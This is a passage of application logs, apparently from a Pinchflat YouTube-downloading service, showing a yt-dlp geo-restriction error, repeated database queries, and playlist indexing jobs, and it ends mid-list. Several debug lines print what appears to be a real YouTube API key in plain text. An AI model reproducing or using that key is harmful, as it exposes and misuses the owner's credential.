/tmp/pinchflat/data/80/24/8024e30bab8014675a412a2a8def5211c9c113fab3b15d64598bf6ab4387f627.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:46:57.553 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:46:57.555 [debug] QUERY OK source="media_items" db=1.6ms idle=1393.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:46:57.556 [debug] QUERY OK source="tasks" db=0.1ms idle=1315.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800050, 6, ~U[2026-02-10 22:46:57Z], ~U[2026-02-10 22:46:57Z]] 16:46:57.556 [info] {"args":{"id":6},"id":3800011,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8317877,"event":"job:stop","queue_time":147454,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:58.577 [info] {"source":"oban","duration":10371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.037 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:47:05.256 [info] {"args":{"id":15},"id":3800012,"meta":{},"system_time":1770763625256738124,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.256 [info] {"args":{"id":42},"id":3800013,"meta":{},"system_time":1770763625256768160,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.257 [debug] QUERY OK source="sources" db=0.2ms idle=378.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:47:05.257 [debug] QUERY OK source="settings" db=0.1ms idle=378.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.257 [debug] QUERY OK source="sources" db=0.9ms idle=1007.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:47:05.258 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:05.258 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.258 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.258 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:47:05.258 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:05.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.258 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:05.258 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.258 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:47:05.258 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.258 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:05.313 [debug] QUERY OK source="media_items" db=0.3ms idle=54.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:47:05.313 [debug] QUERY OK source="media_items" db=0.2ms idle=54.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:47:05.314 [debug] QUERY OK source="tasks" db=0.1ms idle=55.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800051, 42, ~U[2026-02-10 22:47:05Z], ~U[2026-02-10 22:47:05Z]] 16:47:05.314 [info] {"args":{"id":42},"id":3800013,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":57785,"event":"job:stop","queue_time":477842,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.320 [info] {"args":{"id":13},"id":3800014,"meta":{},"system_time":1770763625320696956,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.320 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 16:47:05.321 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.321 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:05.321 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.321 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 16:47:05.321 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.321 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:05.376 [debug] QUERY OK source="media_items" db=0.8ms idle=54.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 16:47:05.377 [debug] QUERY OK source="media_items" db=0.4ms idle=56.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:47:05.378 [debug] QUERY OK source="tasks" db=0.1ms idle=56.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800052, 15, ~U[2026-02-10 22:47:05Z], ~U[2026-02-10 22:47:05Z]] 16:47:05.378 [info] {"args":{"id":15},"id":3800012,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121709,"event":"job:stop","queue_time":548973,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.385 [info] {"args":{"id":22},"id":3800015,"meta":{},"system_time":1770763625385603411,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:05.385 [debug] QUERY OK source="sources" db=0.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:47:05.386 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.386 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:05.386 [debug] QUERY OK source="settings" db=0.0ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.386 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:47:05.386 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:05.386 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:05.452 [debug] QUERY OK source="media_items" db=0.5ms idle=65.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", 